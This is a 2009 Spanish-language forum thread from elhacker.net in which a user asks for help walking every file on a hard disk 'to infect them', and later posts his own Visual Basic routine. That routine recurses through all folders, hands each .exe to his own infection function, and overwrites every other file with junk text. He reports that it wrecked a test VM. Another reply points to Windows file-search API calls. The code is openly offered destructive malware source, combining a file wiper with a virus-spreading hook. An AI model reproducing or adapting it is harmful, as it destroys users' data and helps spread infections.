Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: carlitrosss6 en 29 Mayo 2009, 21:04 pm


Título: Ayuda con una rutina
Publicado por: carlitrosss6 en 29 Mayo 2009, 21:04 pm
Que pex.

Sòlo necesito saber como puedo hacer que todos los archivos del DD pasen por una variable (sName) uno por uno,para infectarlos o no,pero de eso me encargo yo.

Intente con algunos For y los controles DirListBox y FileListBox,pero no me resulta.

Alguna forma de hacer una busqueda completa de todos los archivos del DD,que no sea con  WSCRIPT?

Gracias!  ;D

Título: Re: Ayuda con una rutina
Publicado por: cassiani en 30 Mayo 2009, 00:40 am
En
Citar
*http://www.recursosvisualbasic.com.ar/
encontraras ejemplos de lo que consultas, saludos!!

Título: Re: Ayuda con una rutina
Publicado por: carlitrosss6 en 30 Mayo 2009, 19:59 pm
Cheque el sitio,pero mejor me quede con una funcion que adapte de un VBS que tenia por ahi,para no agrandar mucho el codigo jojo...

Código:
Private Function DoSearch(Path as String)

On Error Resume Next

Dim i
Dim fso As Object
Dim Folder, Archivos, Archivo, Subfolders, Subfolder


i = FreeFile
set fso = CreateObject("scripting.filesystemobject")
Set Folder = fso.getfolder(path)
Set Archivos = Folder.Files

For Each Archivo In Archivos

If ext(archivo.path) = ".exe" Then

Violar(archivo.path)  ' funciòn mia..

Else
 
 Open archivo.path For Output As #i
 Print #i, "blah blah blah!"
 Close #i
 End If
Next

Set Subfolders = Folder.Subfolders
For Each Subfolder In Subfolders
DoSearch Subfolder.path
Next

End Function
 

Con esta funciòn fue suficiente,la probè en VMware y un simple DoSearch("c:\") terminò bastante mal jaja...

Gracias,se ve que hay muy buenos programadores por aqui!.

Título: Re: Ayuda con una rutina
Publicado por: XcryptOR en 31 Mayo 2009, 05:09 am
Código
  1. Private Declare Function FindFirstFile Lib "kernel32" _
  2. Alias "FindFirstFileA" ( _
  3. ByVal lpFileName As String, _
  4. lpFindFileData As WIN32_FIND_DATA) As Long
  5.  
  6. Private Declare Function FindNextFile Lib "kernel32" _
  7. Alias "FindNextFileA" ( _
  8. ByVal hFind As Long, _
  9. lpFindFileData As WIN32_FIND_DATA) As Long

mira estas funciones son todo lo que necesitas, busca aqui en el foro hay bastante de esto


Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines